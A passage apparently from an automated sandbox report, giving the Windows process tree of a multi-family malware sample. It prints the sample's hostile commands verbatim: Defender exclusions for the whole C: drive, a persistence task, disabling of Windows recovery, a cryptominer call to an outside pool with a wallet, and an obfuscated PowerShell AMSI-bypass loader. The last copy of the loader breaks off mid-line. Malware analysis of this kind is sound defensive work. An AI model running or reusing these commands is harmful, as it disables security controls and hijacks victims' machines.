  "C:\Windows\Win-v41.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2420

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:972

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-d03a9ae6-9438-4beb-82ed-49b60b9560ed -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-40133fa0-db2f-4d15-a009-81a22ae8d138 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-cc9cc068-1f6e-4f70-a61a-9e8edb43eae1 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-cf48e0a4-0cd1-4f12-bfb3-ba84d546deae -LifetimeId:e9b835b1-0359-46c3-b29b-cc931179aa56 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Modifies data under HKEY_USERS
PID:1116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1324

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1960
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4444
- - C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    3⤵
    - Suspicious behavior: GetForegroundWindowSpam
    PID:5392
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-19_8ab61e82c5875660f6eb0f8f7cf1d2b7_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Looks for VMWare Tools registry key
      Adds Run key to start application
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2356
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4232
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:204
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3156
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /C reagentc /disable
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2916
      - C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        6⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:480
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5124
      - C:\Windows\system32\takeown.exe
        
        takeown /F "C:\Windows\System32\reagentc.exe"
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4188
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5908
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2380
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:468
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
        6⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1356
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change monitor-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5808
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change monitor-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4160
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1948
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:564
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1880
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /change hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:2444
    - - C:\Windows\SYSTEM32\powercfg.exe
        
        powercfg /hibernate off
        5⤵
        Power Settings
        
        PID:2432
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2136
      - C:\Windows\system32\PING.EXE
        
        ping -n 1 -w 1000 8.8.8.8
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2704
    - - C:\Windows\SysWOW64\svchost.exe
        
        C:\Windows\SysWOW64\svchost.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3432
    - - C:\Windows\SysWOW64\svchost.exe
        
        C:\Windows\SysWOW64\svchost.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5152
      - C:\Users\Admin\AppData\Local\Temp\PNwtmDzW.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PNwtmDzW.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1984
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
        5⤵
        Badlisted process makes network request
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        
        PID:4448
    - - C:\Windows\SysWOW64\svchost.exe
        
        C:\Windows\SysWOW64\svchost.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4240

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:2012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1488

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:2092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:2112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:2248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2324

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:2492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TextInputManagementService
1⤵
PID:2524
- C:\Windows\system32\ctfmon.exe
  /QuitInfo:0000000000000270;0000000000000274;
  2⤵
  PID:4920

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2832

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:3060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:3212

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
PID:3460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:3624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:3668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:1204

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4336

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4552

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:5092

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:2856

C:\Windows\System32\SecurityHealthSystray.exe
"C:\Windows\System32\SecurityHealthSystray.exe"
1⤵
PID:5220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
1⤵
PID:5420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2768

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:3032

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:2232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3872

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2476

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:4620

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:6112

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3728

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:sjljnvjTrqKo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vUOGhsdFeVjzyP,[Parameter(Position=1)][Type]$aZFObXIBFW)$HmjUCcnXnnC=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+'l'+'e'+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+'m'+'o'+''+[Char](114)+'y'+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType('M'+'y'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+'a'+'t'+''+'e'+''+[Char](84)+'y'+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s'+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+'l'+'ic'+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+'a'+'ss',[MulticastDelegate]);$HmjUCcnXnnC.DefineConstructor('R'+[Char](84)+'S'+'p'+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$vUOGhsdFeVjzyP).SetImplementationFlags('R'+[Char](117)+''+'n'+'ti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$HmjUCcnXnnC.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+'i'+[Char](99)+''+[Char](44)+'H'+'i'+''+[Char](100)+''+'e'+'B'+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+'i'+[Char](114)+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$aZFObXIBFW,$vUOGhsdFeVjzyP).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+'e,'+[Char](77)+'a'+'n'+''+'a'+'g'+[Char](101)+''+[Char](100)+'');Write-Output $HmjUCcnXnnC.CreateType();}$aClmWlQMcKwZn=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+'o'+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+'2'+'.'+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+''+'v'+'e'+'M'+'e'+'t'+''+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$QNNePLApKuzuyR=$aClmWlQMcKwZn.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'Pr'+'o'+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$dvetLUhQTrWKItVjAbQ=sjljnvjTrqKo @([String])([IntPtr]);$jQFBkkWHakJCCaXNrvpyRE=sjljnvjTrqKo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bipvfMaeCsG=$aClmWlQMcKwZn.GetMethod('G'+[Char](101)+'t'+'M'+''+[Char](111)+''+[Char](100)+'u'+'l'+''+'e'+''+[Char](72)+'andl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+'3'+''+[Char](50)+'.'+'d'+'l'+'l'+'')));$lZRBKYbRNmOsNS=$QNNePLApKuzuyR.Invoke($Null,@([Object]$bipvfMaeCsG,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+'b'+'rary'+[Char](65)+'')));$orgxvoxxiTBgoNjuB=$QNNePLApKuzuyR.Invoke($Null,@([Object]$bipvfMaeCsG,[Object](''+'V'+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'ct')));$GScqbeU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lZRBKYbRNmOsNS,$dvetLUhQTrWKItVjAbQ).Invoke('a'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+'l'+'');$qTShcjgrfYdBDVDOo=$QNNePLApKuzuyR.Invoke($Null,@([Object]$GScqbeU,[Object]('A'+[Char](109)+'s'+'i'+''+'S'+'c'+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$BEMJThomOW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($orgxvoxxiTBgoNjuB,$jQFBkkWHakJCCaXNrvpyRE).Invoke($qTShcjgrfYdBDVDOo,[uint32]8,4,[ref]$BEMJThomOW);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](12+125),[Byte](255-54),[Byte](213-29),[Byte](51+36),[Byte](44-44),[Byte](122-115),[Byte](134-6),[Byte](116+15),[Byte](148+44),[Byte](50-50),[Byte](182+13),[Byte](185-48),[Byte](13+179)),0,$qTShcjgrfYdBDVDOo,17-4);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($orgxvoxxiTBgoNjuB,$jQFBkkWHakJCCaXNrvpyRE).Invoke($qTShcjgrfYdBDVDOo,[uint32]8,0x20,[ref]$BEMJThomOW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](83)+'H'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:2344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:sjljnvjTrqKo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vUOGhsdFeVjzyP,[Parameter(Position=1)][Type]$aZFObXIBFW)$HmjUCcnXnnC=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+'l'+'e'+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+'m'+'o'+''+[Char](114)+'y'+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType('M'+'y'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+'a'+'t'+''+'e'+''+[Char](84)+'y'+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s'+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+'l'+'ic'+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+'a'+'ss',[MulticastDelegate]);$HmjUCcnXnnC.DefineConstructor('R'+[Char](84)+'S'+'p'+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$vUOGhsdFeVjzyP).SetImplementationFlags('R'+[Char](117)+''+'n'+'ti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$HmjUCcnXnnC.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+'i'+[Char](99)+''+[Char](44)+'H'+'i'+''+[Char](100)+''+'e'+'B'+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+'i'+[Char](114)+''+'t'+'u'+[Char](97)+''+[Char](108)+'',$aZFObXIBFW,$vUOGhsdFeVjzyP).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+'e,'+[Char](77)+'a'+'n'+''+'a'+'g'+[Char](101)+''+[Char](100)+'');Write-Output $HmjUCcnXnnC.CreateType();}$aClmWlQMcKwZn=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+'o'+''+[Char](115)+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+'2'+'.'+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+''+'v'+'e'+'M'+'e'+'t'+''+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$QNNePLApKuzuyR=$aClmWlQMcKwZn.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'Pr'+'o'+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$dvetLUhQTrWKItVjAbQ=sjljnvjTrqKo @([String])([IntPtr]);$jQFBkkWHakJCCaXNrvpyRE=sjljnvjTrqKo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$bipvfMaeCsG=$aClmWlQMcKwZn.GetMethod('G'+[Char](101)+'t'+'M'+''+[Char](111)+''+[Char](100)+'u'+'l'+''+'e'+''+[Char](72)+'andl'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+'3'+''+[Char](50)+'.'+'d'+'l'+'l'+'')));$lZRBKYbRNmOsNS=$QNNePLApKuzuyR.Invoke($Null,@([Object]$bipvfMaeCsG,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+'b'+'rary'+[Char](65)+'')));$orgxvoxxiTBgoNjuB=$QNNePLApKuzuyR.Invoke($Null,@([Object]$bipvfMaeCsG,[Object](''+'V'+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'ct')));$GScqbeU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lZRBKYbRNmOsNS,$dvetLUhQTrWKItVjAbQ).Invoke('a'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+'l'+'');$qTShcjgrfYdBDVDOo=$QNNePLApKuzuyR.Invoke($Null,@([Object]$GScqbeU,[Object]('A'+[Char](109)+'s'+'i'+''+'S'+'c'+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$BEMJThomOW=0;[R